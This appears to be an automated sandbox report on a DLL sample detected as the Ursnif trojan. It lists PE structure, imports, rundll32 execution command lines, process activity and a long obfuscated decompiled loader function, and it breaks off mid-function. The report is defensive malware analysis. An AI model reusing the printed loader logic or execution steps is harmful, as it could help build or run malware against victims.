mov dword ptr [ebp-04h], 00000000h
push dword ptr [ebp-04h]
xor dword ptr [esp], eax
push 00000000h
call dword ptr [ebx+0041F05Ch]
mov dword ptr [ebp-04h], ecx
xor ecx, dword ptr [ebp-04h]
or ecx, eax
and edi, 00000000h
xor edi, ecx
mov ecx, dword ptr [ebp-04h]
push edi
pop dword ptr [ebp-04h]
push dword ptr [ebp-04h]
pop dword ptr [ebx+0041CAEDh]
cmp ebx, 00000000h
jbe 00007FDA10DBDC3Ch
push 00000000h
add dword ptr [esp], edx
push dword ptr [ebx+0041C166h]
pop edx
add edx, ebx
mov dword ptr [ebx+0041C166h], edx
pop edx
push 00000000h
add dword ptr [esp], edx
push dword ptr [ebx+0041CECAh]
pop edx
add edx, ebx
mov dword ptr [ebx+0041CECAh], edx
pop edx
push ebp
and ebp, 00000000h
or ebp, dword ptr [ebx+0041C166h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1a000	0x64	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1f0fc	0x118	.data
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1f000	0xfc	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.code	0x1000	0x185f2	0x18600	False	0.670042067308	data	6.53345039933	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x1a000	0x64	0x200	False	0.16796875	data	1.0662581269	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1b000	0x1000	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rdata	0x1c000	0x20b3	0x2200	False	0.359834558824	data	2.96025706595	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.data	0x1f000	0x7b2	0x800	False	0.45703125	data	4.70767794561	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
user32.dll	GetActiveWindow, SetWindowsHookExA, GetLayeredWindowAttributes
kernel32.dll	GetProcAddress, LoadLibraryA, VirtualProtect, VirtualAlloc, lstrlenA, lstrcatA, lstrcmpA, GetEnvironmentVariableW
ole32.dll	OleInitialize, OleQueryCreateFromData, IIDFromString, CLIPFORMAT_UserUnmarshal, OleCreateEmbeddingHelper, HDC_UserSize
msimg32.dll	AlphaBlend, TransparentBlt
comdlg32.dll	PageSetupDlgA, PrintDlgA
oledlg.dll	OleUICanConvertOrActivateAs, OleUIChangeSourceW, OleUIConvertA
comctl32.dll	CreateStatusWindow, LBItemFromPt, DPA_Create, FlatSB_ShowScrollBar, ImageList_GetFlags
oleacc.dll	IID_IAccessible, LresultFromObject
version.dll	VerFindFileW, VerInstallFileA, VerQueryValueA, VerQueryValueW
gdiplus.dll	GdipEnumerateMetafileDestPointI, GdipCreateBitmapFromHBITMAP, GdipSetPenUnit, GdipGetImageEncoders, GdipGetPathPointsI
winspool.drv	FindNextPrinterChangeNotification, ConnectToPrinterDlg, SetPrinterDataW, GetPrinterW, DeletePrinterDataExW
shell32.dll	SHGetSpecialFolderPathA
advapi32.dll	GetKernelObjectSecurity, CryptEnumProviderTypesA, RegQueryValueExW, RegisterIdleTask

Exports

Name	Ordinal	Address
DllServer	1	0x1000447b

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 3512 Parent PID: 5588

General

Start time:	03:54:03
Start date:	08/05/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll'
Imagebase:	0xc10000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000000.00000002.454251759.0000000000840000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 4316 Parent PID: 3512

General

Start time:	03:54:03
Start date:	08/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll',#1
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5348 Parent PID: 3512

General

Start time:	03:54:04
Start date:	08/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\t6ygT2aU8p.dll,DllServer
Imagebase:	0xf00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000002.00000002.253564107.0000000000710000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 3216 Parent PID: 4316

General

Start time:	03:54:04
Start date:	08/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\t6ygT2aU8p.dll',#1
Imagebase:	0xf00000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000003.00000002.472819252.0000000000A50000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 3512 Parent PID: 5588 loaddll32.exeCOMMON

Executed Functions

Function 007D5F16, Relevance: 2.8, APIs: 1, Instructions: 1269
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 75%

			E007D5F16(void* __eax, signed int __ebx, void* __ecx, signed int __edx, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __edi;
				signed int _t610;
				void* _t612;
				signed int _t613;
				intOrPtr _t619;
				void* _t626;
				void* _t628;
				void* _t630;
				signed int _t631;
				signed int _t633;
				signed int _t636;
				signed int _t638;
				void* _t640;
				intOrPtr _t641;
				signed int _t644;
				void* _t646;
				signed int _t647;
				signed int _t650;
				signed int _t652;
				signed int _t653;
				intOrPtr _t656;
				signed int _t658;
				signed int _t661;
				signed int _t665;
				void* _t667;
				signed int _t668;
				signed int _t671;
				signed int _t675;
				signed int _t677;
				void* _t679;
				signed int _t680;
				signed int _t682;
				signed int _t684;
				signed int _t689;
				void* _t691;
				signed int _t692;
				signed int _t698;
				signed int _t701;
				signed int _t706;
				void* _t708;
				intOrPtr _t709;
				signed int _t711;
				void* _t713;
				signed int _t714;
				signed int _t717;
				intOrPtr _t720;
				signed int _t722;
				void* _t724;
				signed int _t726;
				intOrPtr _t729;
				void* _t730;
				signed int _t733;
				void* _t739;
				void* _t741;
				void* _t742;
				signed int _t744;
				void* _t746;
				signed int _t747;
				signed int _t753;
				signed int _t756;
				signed int _t760;
				void* _t762;
				signed int _t767;
				signed int _t771;
				void* _t773;
				void* _t775;
				void* _t776;
				intOrPtr _t778;
				signed int _t781;
				signed int _t785;
				intOrPtr _t788;
				signed int _t791;
				intOrPtr _t794;
				signed int _t797;
				signed int _t813;
				signed int _t816;
				void* _t819;
				signed int _t821;
				signed int _t824;
				void* _t827;
				void* _t828;
				void* _t830;
				signed int _t836;
				signed int _t840;
				signed int _t842;
				signed int _t844;
				signed int _t851;
				signed int _t856;
				signed int _t859;
				signed int _t862;
				signed int _t865;
				signed int _t867;
				signed int _t869;
				signed int _t875;
				signed int _t882;
				void* _t888;
				signed int _t889;
				signed int _t893;
				signed int _t896;
				signed int _t901;
				signed int _t906;
				signed int _t908;
				signed int _t916;
				signed int _t920;
				signed int _t924;
				signed int _t926;
				signed int _t928;
				signed int _t931;
				signed int _t934;
				signed int _t936;
				signed int _t939;
				signed int _t945;
				signed int _t947;
				signed int _t950;
				signed int _t953;
				signed int _t955;
				signed int _t958;
				void* _t966;
				signed int _t969;
				signed int _t975;
				signed int _t977;
				signed int _t979;
				signed int _t981;
				signed int _t986;
				signed int _t987;
				signed int _t1002;
				signed int _t1005;
				signed int _t1009;
				signed int _t1012;
				signed int _t1015;
				signed int _t1018;
				signed int _t1020;
				signed int _t1023;
				signed int _t1026;
				signed int _t1028;
				signed int _t1031;
				signed int _t1034;
				signed int _t1035;
				void* _t1036;
				long _t1041;
				void* _t1043;
				signed int _t1045;
				signed int _t1052;
				signed int _t1054;
				signed int _t1057;
				signed int _t1060;
				signed int _t1063;
				signed int _t1065;
				signed int _t1068;
				void* _t1069;
				signed int _t1071;
				signed int _t1074;
				void* _t1077;
				signed int _t1078;
				signed int _t1081;
				signed int _t1085;
				void* _t1089;
				signed int _t1091;
				void* _t1097;
				void* _t1102;
				signed int _t1103;
				signed int _t1106;
				void* _t1109;
				signed int _t1112;
				signed int _t1119;
				signed int* _t1120;
				signed int* _t1121;
				signed int* _t1122;
				signed int* _t1123;
				signed int* _t1124;
				signed int* _t1125;
				signed int* _t1126;
				signed int* _t1127;
				signed int* _t1128;
				signed int* _t1129;
				signed int* _t1130;
				signed int* _t1131;
				signed int* _t1132;
				signed int* _t1133;
				signed int* _t1134;
				signed int* _t1136;
				signed int* _t1139;
				signed int* _t1140;
				signed int* _t1141;
				signed int* _t1142;
				signed int* _t1143;
				signed int* _t1144;

				_t1063 = __esi;
				_t813 = __ebx;
				_push(__eax);
				 *_t1119 =  *_t1119 & 0x00000000;
				 *_t1119 =  *_t1119 + _t1102;
				_t1103 = _t1119;
				_t1120 = _t1119 + 0xfffffff0;
				_push(_t1103);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 + __ecx;
				_push(__ecx);
				 *_t1120 =  *_t1120 & 0x00000000;
				 *_t1120 =  *_t1120 ^ __edx;
				_push(_t1103);
				 *_t1120 =  *_t1120 ^ _t1103;
				 *_t1120 =  *_t1120 ^ __ebx + 0x0041cca8;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t1120 =  *_t1120 + __ebx + 0x41cd5f;
				_push( *((intOrPtr*)(__ebx + 0x41f068))());
				_pop( *_t7);
				_push(_v16);
				_pop( *_t9);
				_pop( *_t10);
				_t920 = _v16;
				_t1121 = _t1120 - 0xfffffffc;
				_push(__esi);
				 *_t1121 =  *_t1121 ^ __esi;
				 *_t1121 =  *_t1120;
				_push(_v16);
				 *_t1121 = _t920;
				_push(_t1002);
				 *_t1121 =  *_t1121 - _t1002;
				 *_t1121 =  *_t1121 ^ __ebx + 0x0041c01b;
				_t610 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_v16);
				 *_t1121 = _t610;
				_push(__esi);
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + __ebx + 0x41c678;
				_t612 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t18);
				_push(_t920);
				 *_t20 = _t612;
				_v20 = _v20 + _v20;
				_push(_v20);
				_pop(_t613);
				_v20 = _t613;
				_t836 = 0 ^  *(__ebx + 0x41c55d);
				if(_t836 > _v20) {
					_push(_v12);
					 *_t1121 = __ebx + 0x41c01b;
					_push(_t1103);
					 *_t1121 =  *_t1121 ^ _t1103;
					 *_t1121 =  *_t1121 + __ebx + 0x41c678;
					_push( *((intOrPtr*)(__ebx + 0x41f064))());
					_pop( *_t31);
					_push(_v20);
					_pop( *_t33);
				}
				_pop( *_t34);
				_t924 = _v20;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t924;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c8b2;
				 *_t1121 =  *_t1121 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41d167;
				_t619 =  *((intOrPtr*)(_t813 + 0x41f068))(_t924, _t924, _t836);
				_v12 = _t836;
				 *((intOrPtr*)(_t813 + 0x41c883)) = _t619;
				 *_t1121 = _t813 + 0x41c565;
				_v12 = 0;
				 *_t1121 =  *_t1121 | _t813 + 0x0041c574;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_v12, _v20));
				_pop( *_t48);
				_push(_v20);
				_pop( *_t50);
				_pop( *_t51);
				 *_t1121 =  *_t1121 - _t1103;
				 *_t1121 =  *_t1121 ^ _v20;
				 *_t1121 =  *_t1121 ^ _t813;
				 *_t1121 =  *_t1121 + _t813 + 0x41cd20;
				_push( *((intOrPtr*)(_t813 + 0x41f060))(_t813, _t1103));
				_pop( *_t55);
				_push(_v16);
				_pop( *_t57);
				_t626 =  *((intOrPtr*)(_t813 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t626;
				_v16 = _v16 & 0x00000000;
				 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
				_t628 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16);
				 *_t1121 =  *_t1121 ^ _t924;
				 *_t1121 =  *_t1121 + _t628;
				_v12 = _v12 & 0x00000000;
				 *_t1121 =  *_t1121 | _t813 + 0x0041cfe9;
				_t630 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t924);
				_pop( *_t72);
				_t840 = _v20;
				 *_t74 = _t630;
				_v20 = _v20 + _t840;
				_push(_v20);
				_pop(_t631);
				_t1065 = _t1063;
				_t842 = _t840 & 0x00000000 | _t1103 & 0x00000000 ^  *(_t813 + 0x41ca09);
				_t1106 = _t1103;
				if(_t842 > _t631) {
					 *_t1121 =  *_t1121 & 0x00000000;
					 *_t1121 =  *_t1121 + _t813 + 0x41c3ee;
					 *_t1121 = _t813 + 0x41cfe9;
					_t631 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _t813);
					_push(_t924);
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) & 0x00000000;
					 *(_t813 + 0x41c365) =  *(_t813 + 0x41c365) ^ _t924 & 0x00000000 ^ _t631;
				}
				_t633 = _t631 & 0x00000000 ^  *_t1121;
				_t1122 =  &(_t1121[1]);
				 *_t1122 = _t1002;
				 *(_t813 + 0x41d240) = _t633;
				_t1005 = 0;
				_pop( *_t88);
				_t926 = 0 ^ _v20;
				_pop( *_t90);
				_t844 = _t842 & 0x00000000 ^ _v16;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t926;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 | _t844;
				 *_t1122 =  *_t1122 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041c624;
				_v12 = _v12 & 0x00000000;
				 *_t1122 =  *_t1122 ^ _t813 + 0x0041d36b;
				_t636 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t926, _t1005, _t633);
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) & 0x00000000;
				 *(_t813 + 0x41c655) =  *(_t813 + 0x41c655) | _t844 -  *_t1122 ^ _t636;
				_t1123 =  &(_t1122[1]);
				_v16 = _v16 & 0x00000000;
				 *_t1123 =  *_t1123 ^  *_t1122;
				_v16 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c891;
				_t638 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v16, _t844);
				 *_t1123 =  *_t1123 - _t1106;
				 *_t1123 =  *_t1123 | _t638;
				_v12 = 0;
				 *_t1123 =  *_t1123 ^ _t813 + 0x0041c30f;
				_t640 =  *((intOrPtr*)(_t813 + 0x41f060))(_v12, _t1106);
				_t851 =  *_t1123;
				_t1124 =  &(_t1123[1]);
				 *_t113 = _t640;
				_v16 = _v16 + _t851;
				_push(_v16);
				_pop(_t641);
				_t928 = _t926;
				_v16 = _t1005;
				if((_t851 & 0x00000000 | _t1005 ^ _v16 |  *(_t813 + 0x41ca38)) > _t641) {
					_v20 = _v20 & 0x00000000;
					 *_t1124 =  *_t1124 | _t813 + 0x0041c891;
					_v12 = 0;
					 *_t1124 =  *_t1124 + _t813 + 0x41c30f;
					_t641 =  *((intOrPtr*)(_t813 + 0x41f064))(_v12, _v20);
				}
				 *_t1124 = _t928;
				 *((intOrPtr*)(_t813 + 0x41c910)) = _t641;
				_t931 = 0;
				_v12 = _t1065;
				_t1068 = _v12;
				_v12 = 0;
				 *_t1124 =  *_t1124 | 0 ^ _a4;
				_v16 = 0;
				 *_t1124 =  *_t1124 | _t813 + 0x0041c9ef;
				_t644 =  *((intOrPtr*)(_t813 + 0x41f060))(_v16, _v12);
				_v12 = 0;
				 *_t1124 =  *_t1124 ^ _t644;
				 *_t1124 = _t813 + 0x41cb65;
				_t646 =  *((intOrPtr*)(_t813 + 0x41f060))(_v20, _v12);
				_t1125 =  &(_t1124[1]);
				_v12 = _t931;
				_push( *_t1124 + _t646);
				_t934 = _v12;
				_pop(_t647);
				_v12 = _t647;
				_t856 = 0 ^  *(_t813 + 0x41c187);
				_t650 = _v12;
				if(_t856 > _t650) {
					_v20 = 0;
					 *_t1125 =  *_t1125 | _t813 + 0x0041c9ef;
					 *_t1125 =  *_t1125 ^ _t856;
					 *_t1125 =  *_t1125 + _t813 + 0x41cb65;
					_t650 =  *((intOrPtr*)(_t813 + 0x41f064))(_t856, _v20);
					_v16 = _t1068;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) & 0x00000000;
					 *(_t813 + 0x41c651) =  *(_t813 + 0x41c651) | _t1068 ^ _v16 | _t650;
					_t1068 = _v16;
				}
				_t652 = _t650 & 0x00000000 ^  *_t1125;
				_t1126 = _t1125 - 0xfffffffc;
				 *_t162 = _t652;
				_v16 = _v16 +  *((intOrPtr*)(_t652 + 0x3c));
				_push(_v16);
				_pop(_t653);
				_t936 = _t934;
				 *_t1126 = _t653;
				 *_t1126 =  *_t1126 & 0x00000000;
				 *_t1126 =  *_t1126 ^ _t813 + 0x0041c16e;
				 *_t1126 = _t813 + 0x41ce8a;
				_t656 =  *((intOrPtr*)(_t813 + 0x41f068))(_v20, _t1068, _v20);
				 *_t1126 = _t1106;
				 *((intOrPtr*)(_t813 + 0x41c0cc)) = _t656;
				_t1109 = 0;
				_t658 =  *_t1126;
				_t1127 =  &(_t1126[1]);
				 *_t1127 = _t658;
				 *_t1127 =  *_t1127 - _t856;
				 *_t1127 =  *_t1127 ^ _t658;
				 *_t1127 =  *_t1127 - _t936;
				 *_t1127 =  *_t1127 + _t813 + 0x41c791;
				_v12 = _v12 & 0x00000000;
				 *_t1127 =  *_t1127 ^ _t813 + 0x0041ca02;
				_t661 =  *((intOrPtr*)(_t813 + 0x41f068))(_v12, _t936, _t856, _v16);
				 *_t1127 = _t936;
				 *(_t813 + 0x41c9e0) = 0 ^ _t661;
				_t939 = 0;
				_t1128 = _t1127 - 0xfffffffc;
				_v20 = _t813;
				_t1009 =  *_t1127;
				_t816 = _v20;
				_v12 = 0;
				 *_t1128 =  *_t1128 | _t816 + 0x0041c000;
				_t665 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12);
				 *_t1128 =  *_t1128 ^ _t1009;
				 *_t1128 = _t665;
				 *_t1128 =  *_t1128 - _t1009;
				 *_t1128 =  *_t1128 ^ _t816 + 0x0041cc73;
				_t667 =  *((intOrPtr*)(_t816 + 0x41f060))(_t1009, _t1009);
				_t1129 =  &(_t1128[1]);
				 *_t1129 =  *_t1129 ^ _t1068;
				_t1069 = _t667;
				_t668 = _t1069 + (_t856 & 0x00000000 |  *_t1128);
				_t1071 = 0;
				_v20 = _t1009;
				_t859 = 0 ^  *(_t816 + 0x41c250);
				_t1012 = _v20;
				if(_t859 > _t668) {
					 *_t1129 =  *_t1129 - _t1012;
					 *_t1129 =  *_t1129 ^ _t816 + 0x0041c000;
					_v12 = 0;
					 *_t1129 =  *_t1129 | _t816 + 0x0041cc73;
					_t668 =  *((intOrPtr*)(_t816 + 0x41f064))(_v12, _t1012);
				}
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) & 0x00000000;
				 *(_t816 + 0x41c695) =  *(_t816 + 0x41c695) | _t859 & 0x00000000 ^ _t668;
				_t862 = _t859;
				 *_t1129 =  *_t1129 - _t1071;
				 *_t1129 =  *_t1129 + ( *(_t1012 + 6) & 0x0000ffff);
				 *_t1129 = _t816 + 0x41ca88;
				_t671 =  *((intOrPtr*)(_t816 + 0x41f060))(_v12, _t1071);
				_v20 = _t862;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) & 0x00000000;
				 *(_t816 + 0x41d151) =  *(_t816 + 0x41d151) | _t862 ^ _v20 ^ _t671;
				_t865 = _v20;
				_pop( *_t211);
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ (_t816 & 0x00000000 | 0 ^ _v16);
				_t819 = _t816;
				 *_t1129 =  *_t1129 & 0x00000000;
				 *_t1129 =  *_t1129 ^ _t819 + 0x0041c863;
				_t675 =  *((intOrPtr*)(_t819 + 0x41f060))(_t819);
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) & 0x00000000;
				 *(_t819 + 0x41c2ac) =  *(_t819 + 0x41c2ac) | _t1109 -  *_t1129 ^ _t675;
				_t1112 = _t1109;
				 *_t1129 =  *_t1129 - _t865;
				 *_t1129 =  *_t1129 ^ _t1012;
				 *_t1129 = _t819 + 0x41ca0d;
				_t677 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _t865);
				 *_t1129 = _t677;
				 *_t1129 = _t819 + 0x41cbe6;
				_t679 =  *((intOrPtr*)(_t819 + 0x41f060))(_v12, _v20);
				_t867 =  *_t1129;
				_t1130 = _t1129 - 0xfffffffc;
				 *_t230 = _t679;
				_v16 = _v16 + _t867;
				_push(_v16);
				_pop(_t680);
				_t821 = _t819;
				_t869 = _t867 & 0x00000000 | _t1071 & 0x00000000 ^  *(_t821 + 0x41d053);
				_t1074 = _t1071;
				if(_t869 > _t680) {
					_t235 = _t821 + 0x41ca0d; // 0x41ca0d
					_v12 = 0;
					 *_t1130 =  *_t1130 | _t235;
					_t238 = _t821 + 0x41cbe6; // 0x41cbe6
					 *_t1130 =  *_t1130 & 0x00000000;
					 *_t1130 =  *_t1130 + _t238;
					_t680 =  *((intOrPtr*)(_t821 + 0x41f064))(_t1074, _v12);
				}
				 *_t1130 = _t1012;
				 *(_t821 + 0x41c918) = 0 ^ _t680;
				_t1015 = 0;
				_v16 = _t869;
				_v16 = 0;
				 *_t1130 =  *_t1130 + (_t939 & 0x00000000 | _t869 ^ _v16 |  *(_t1015 + 0x54));
				_t247 = _t821 + 0x41d093; // 0x41d093
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 | _t247;
				_t682 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t1130 = _t1015;
				 *(_t821 + 0x41c4f0) = 0 ^ _t682;
				_t1018 = 0;
				 *_t250 = _t821;
				_t1020 = _t1018 & 0x00000000 ^ (_t1074 ^  *_t1130 |  *(_t821 + 0x41c166));
				_t1077 = _t1074;
				 *_t1130 =  *_t1130 & 0x00000000;
				 *_t1130 =  *_t1130 ^ _v16;
				_t253 = _t821 + 0x41cfd9; // 0x41cfd9
				_v20 = 0;
				 *_t1130 =  *_t1130 | _t253;
				_t684 =  *((intOrPtr*)(_t821 + 0x41f060))(_v20, _t1077);
				_v20 = _t1020;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) & 0x00000000;
				 *(_t821 + 0x41c323) =  *(_t821 + 0x41c323) | _t1020 ^ _v20 ^ _t684;
				_t1023 = _v20;
				_t1131 =  &(_t1130[1]);
				 *_t1131 = _t684;
				_t1078 = _a4;
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 |  *_t1130;
				_t268 = _t821 + 0x41ca9e; // 0x41ca9e
				_v12 = _v12 & 0x00000000;
				 *_t1131 =  *_t1131 | _t268;
				_t689 =  *((intOrPtr*)(_t821 + 0x41f060))(_v12, _v12, 0);
				 *_t1131 =  *_t1131 & 0x00000000;
				 *_t1131 =  *_t1131 | _t689;
				_t273 = _t821 + 0x41c931; // 0x41c931
				 *_t1131 =  *_t1131 & 0x00000000;
				 *_t1131 =  *_t1131 | _t273;
				_t691 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
				 *_t275 = _t1023;
				_v20 = _t821;
				_push(0 + _v16 + _t691);
				_t824 = _v20;
				_pop(_t692);
				_push( *((intOrPtr*)(_t824 + 0x41cccf)));
				_pop( *_t280);
				_push(_v12);
				_pop(_t875);
				if(_t875 > _t692) {
					 *_t1131 = _t824 + 0x41ca9e;
					 *_t1131 =  *_t1131 & 0x00000000;
					 *_t1131 =  *_t1131 ^ _t824 + 0x0041c931;
					_t692 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1078, _v16);
					 *_t286 = _t692;
					_push(_v16);
					_pop( *_t288);
				}
				_pop( *_t289);
				_t945 = _v12;
				_v12 = _t692;
				 *_t1131 = _t875 & 0x00000000 | _t692 ^ _v12 | _t945;
				 *_t1131 =  *_t1131 ^ _t824;
				 *_t1131 =  *_t1131 + _t945;
				_v12 = 0;
				 *_t1131 =  *_t1131 ^ _t824 + 0x0041d1ba;
				 *_t1131 = _t824 + 0x41c856;
				_t698 =  *((intOrPtr*)(_t824 + 0x41f068))(_v16, _v12, _t824, _v12);
				_v20 = _t1078;
				 *(_t824 + 0x41c0c8) = 0 ^ _t698;
				_t1081 = _v20;
				_pop( *_t304);
				_t947 = 0 ^ _v20;
				_t879 = 0 ^  *_t1131;
				_t1132 = _t1131 - 0xfffffffc;
				if(_t1023 != _t1081) {
					 *_t1132 =  *_t1132 - _t1023;
					 *_t1132 =  *_t1132 ^ _t879;
					_v20 = _v20 & 0x00000000;
					 *_t1132 =  *_t1132 + _t947;
					_v16 = 0;
					 *_t1132 =  *_t1132 ^ _t824 + 0x0041c7a9;
					_t739 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20, _t1023);
					_v12 = 0;
					 *_t1132 =  *_t1132 + _t739;
					 *_t1132 =  *_t1132 & 0x00000000;
					 *_t1132 =  *_t1132 ^ _t824 + 0x0041d026;
					_t741 =  *((intOrPtr*)(_t824 + 0x41f060))(_t824, _v12);
					_t1139 = _t1132 - 0xfffffffc;
					 *_t317 = _t741;
					_v20 = _v20 + (_t879 & 0x00000000) +  *_t1132;
					_push(_v20);
					_pop(_t742);
					_t1045 = _t1023;
					_push(0);
					 *_t1139 = _t1045;
					_t906 = 0 ^  *(_t824 + 0x41c244);
					if(_t906 > _t742) {
						 *_t1139 =  *_t1139 ^ _t906;
						 *_t1139 =  *_t1139 | _t824 + 0x0041c7a9;
						 *_t1139 =  *_t1139 & 0x00000000;
						 *_t1139 =  *_t1139 + _t824 + 0x41d026;
						_t797 =  *((intOrPtr*)(_t824 + 0x41f064))(_t824, _t906);
						_push(0);
						 *_t1139 = _t947;
						 *(_t824 + 0x41cf47) = 0 ^ _t797;
					}
					_pop( *_t326);
					_t969 = _v12;
					_t908 =  *_t1139;
					_t1140 = _t1139 - 0xfffffffc;
					do {
						asm("movsb");
						_v12 = 0;
						 *_t1140 =  *_t1140 + _t908;
						_v12 = _v12 & 0x00000000;
						 *_t1140 =  *_t1140 + _t969;
						 *_t1140 =  *_t1140 - _t969;
						 *_t1140 =  *_t1140 | _t824 + 0x0041c831;
						_t744 =  *((intOrPtr*)(_t824 + 0x41f060))(_t969, _v12, _v12);
						 *_t1140 =  *_t1140 ^ _t1112;
						 *_t1140 =  *_t1140 ^ _t744;
						 *_t1140 =  *_t1140 & 0x00000000;
						 *_t1140 =  *_t1140 ^ _t824 + 0x0041c7fa;
						_t746 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1081, _t1112);
						_t1141 =  &(_t1140[1]);
						 *_t337 = _t746;
						_v20 = _v20 +  *_t1140;
						_push(_v20);
						_pop(_t747);
						_t1081 = _t1081;
						_v12 = _t747;
						if((0 ^  *(_t824 + 0x41c054)) > _v12) {
							 *_t1141 = _t824 + 0x41c831;
							 *_t1141 = _t824 + 0x41c7fa;
